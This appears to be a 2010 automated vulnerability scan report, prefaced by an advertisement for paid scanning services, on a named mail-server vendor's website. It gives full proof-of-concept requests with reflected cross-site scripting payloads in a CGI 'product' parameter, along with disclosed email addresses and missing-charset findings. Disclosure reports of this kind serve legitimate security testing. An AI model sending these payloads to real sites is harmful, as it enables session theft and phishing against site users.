Contractor for Hire: Per Minute, Per Day, Bounty Hunting

Example #1: Automated Vulnerability Crawler: $1/min, max charge is US $10 for 200 URL + 10 Params for
CWE-79, CWE-89 and CWE-113 (XSS, SQL Injection and HTTP Header Injection).
Example #2: Hybrid Risk Analysis: $2/min, max charge is US $30 for 200 URL + 10 Params, Manual Testing of High Value URI/Param targets.
Example #3: Penetration Testing: Individual Case Basis, use Live Chat for a Quote.
Example #4: Report generated by XSS.CX at Mon Nov 15 18:43:07 CST 2010.

Cross Site Scripting Reports | Hoyt LLC Research

1. Cross-site scripting (reflected)

1.1. http://netwinsite.com/cgi-bin/keycgi.exe [product parameter]

1.2. http://netwinsite.com/cgi-bin/keycgi.exe [product parameter]

1.3. https://netwinsite.com/cgi-bin/keycgi.exe [product parameter]

2. Email addresses disclosed

2.1. http://netwinsite.com/escalate.htm

2.2. http://netwinsite.com/support.htm

3. HTML does not specify charset

3.1. http://netwinsite.com/

3.2. http://netwinsite.com/escalate.htm

3.3. http://netwinsite.com/support.htm


1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://netwinsite.com/cgi-bin/keycgi.exe [product parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /cgi-bin/keycgi.exe

Issue detail

The value of the product request parameter is copied into the HTML document as plain text between tags. The payload 2d4eb<script>alert(1)</script>700011dbac7 was submitted in the product parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/keycgi.exe?cmd=download&product=surgemail2d4eb<script>alert(1)</script>700011dbac7& HTTP/1.1
Host: netwinsite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:19:29 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html
Content-Length: 22352

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css2/netwin.css">

...[SNIP]...
<b>'surgemail2d4eb<script>alert(1)</script>700011dbac7'</b>
...[SNIP]...
1.2. http://netwinsite.com/cgi-bin/keycgi.exe [product parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /cgi-bin/keycgi.exe

Issue detail

The value of the product request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c373f"><script>alert(1)</script>b1252f723a1 was submitted in the product parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/keycgi.exe?cmd=download&product=surgemailc373f"><script>alert(1)</script>b1252f723a1& HTTP/1.1
Host: netwinsite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:19:27 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html
Content-Length: 22484

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css2/netwin.css">

...[SNIP]...
<input type="hidden" name="product" value="surgemailc373f"><script>alert(1)</script>b1252f723a1">
...[SNIP]...
1.3. https://netwinsite.com/cgi-bin/keycgi.exe [product parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://netwinsite.com
Path:   /cgi-bin/keycgi.exe

Issue detail

The value of the product request parameter is copied into the HTML document as plain text between tags. The payload d21cc<script>alert(1)</script>a7e6f514dd4 was submitted in the product parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cgi-bin/keycgi.exe?cmd=buy_new&product=surgemaild21cc<script>alert(1)</script>a7e6f514dd4 HTTP/1.1
Host: netwinsite.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:19:32 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Connection: close
Content-Type: text/html
Content-Length: 11422

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css2/netwin.css">

...[SNIP]...
<font face="Arial, Helvetica, sans-serif" size="4">Unable to find productid for (surgemaild21cc<script>alert(1)</script>a7e6f514dd4)
</font>
...[SNIP]...
2. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

2.1. http://netwinsite.com/escalate.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /escalate.htm

Issue detail

The following email addresses were disclosed in the response:

Request

GET /escalate.htm HTTP/1.1
Host: netwinsite.com
Proxy-Connection: keep-alive
Referer: http://netwinsite.com/support.htm
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:36:03 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Content-Type: text/html
Content-Length: 16084

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css2/netwin.css">
   
...[SNIP]...
<a
href="mailto:support-PRODUCTNAME@netwinsite.com">support-PRODUCTNAME@netwinsite.com</a>
e.g. <a href="mailto:support-dmail@netwinsite.com">support-dmail@netwinsite.com</a>, <a
href="mailto:support-webmail@netwinsite.com">support-webmail@netwinsite.com</a>
...[SNIP]...
<option value="support-dnews@netwinsite.com">support-dnews@netwinsite.com</option>
<option value="support-surgemail@netwinsite.com">support-surgemail@netwinsite.com</option>
<option value="support-dmail@netwinsite.com">support-dmail@netwinsite.com</option>
<option value="support-webmail@netwinsite.com">support-webmail@netwinsite.com</option>
<option value="support-cwmail@netwinsite.com">support-cwmail@netwinsite.com</option>
<option value="support-dmailweb@netwinsite.com">support-dmailweb@netwinsite.com</option>
<option value="support-cwmail@netwinsite.com">support-cwmail@netwinsite.com</option>
<option value="support-dbabble@netwinsite.com">support-dbabble@netwinsite.com</option>
<option value="support@netwinsite.com">support@netwinsite.com</option>
...[SNIP]...
2.2. http://netwinsite.com/support.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /support.htm

Issue detail

The following email addresses were disclosed in the response:

Request

GET /support.htm HTTP/1.1
Host: netwinsite.com
Proxy-Connection: keep-alive
Referer: http://netwinsite.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:35:57 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Content-Type: text/html
Content-Length: 22629

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css2/netwin.css">
   
...[SNIP]...
<a href="mailto:sales@netwinsite.com">sales@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-surgemail@netwinsite.com">support-surgemail@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-dnews@netwinsite.com">support-dnews@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-webnews@netwinsite.com">support-webnews@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-surgeldap@netwinsite.com">support-surgeldap@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-dbabble@netwinsite.com">support-dbabble@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-surgeftp@netwinsite.com">support-surgeftp@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-netauth@netwinsite.com">support-netauth@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-smsgate@netwinsite.com">support-smsgate@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-dmail@netwinsite.com">support-dmail@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-dmailweb@netwinsite.com">support-dmailweb@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-wapmail@netwinsite.com">support-wapmail@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-webmail@netwinsite.com">support-webmail@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-webimap@netwinsite.com">support-webimap@netwinsite.com</a>
...[SNIP]...
<a href="mailto:support-watchdog@netwinsite.com">support-watchdog@netwinsite.com</a>
...[SNIP]...
<a href="mailto:sales@netwinsite.com">sales@netwinsite.com</a>
...[SNIP]...
<a href="mailto:sales@netwinsite.com">sales@netwinsite.com</a>
...[SNIP]...
<a href="mailto:surgemail-list-request@netwinsite.com">surgemail-list-request@netwinsite.com</a>
...[SNIP]...
<a href="mailto:surgemail-list@netwinsite.com">surgemail-list@netwinsite.com</a>
...[SNIP]...
3. HTML does not specify charset  previous
There are 3 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

3.1. http://netwinsite.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /

Request

GET / HTTP/1.1
Host: netwinsite.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:35:51 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Content-Type: text/html
Content-Length: 22795

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>

<title>Fast Reliable Mail Server, stops spam and viruses, easy
...[SNIP]...
</title>
<meta http-equiv="Content-Type" content="text/html;">
<META NAME="keywords" CONTENT="mail server, email server, windows mail server, mail server software, secure, antivirus, webmail, pop, pop3, imap, imap4, smtp, linux, mail-server, ssl, free mail server
...[SNIP]...
3.2. http://netwinsite.com/escalate.htm  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /escalate.htm

Request

GET /escalate.htm HTTP/1.1
Host: netwinsite.com
Proxy-Connection: keep-alive
Referer: http://netwinsite.com/support.htm
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:36:03 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Content-Type: text/html
Content-Length: 16084

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css2/netwin.css">
   
...[SNIP]...
3.3. http://netwinsite.com/support.htm  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://netwinsite.com
Path:   /support.htm

Request

GET /support.htm HTTP/1.1
Host: netwinsite.com
Proxy-Connection: keep-alive
Referer: http://netwinsite.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2010 00:35:57 GMT
Server: Apache/1.3.37 (Unix) PHP/5.2.9 mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a
Content-Type: text/html
Content-Length: 22629

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<link rel="stylesheet" type="text/css" href="css2/netwin.css">
   
...[SNIP]...
<META NAME="description" CONTENT="">
<meta http-equiv="Content-Type" content="text/html;">


<!-- #EndEditable -->
...[SNIP]...
Report generated by XSS.CX at Mon Nov 15 18:43:07 CST 2010.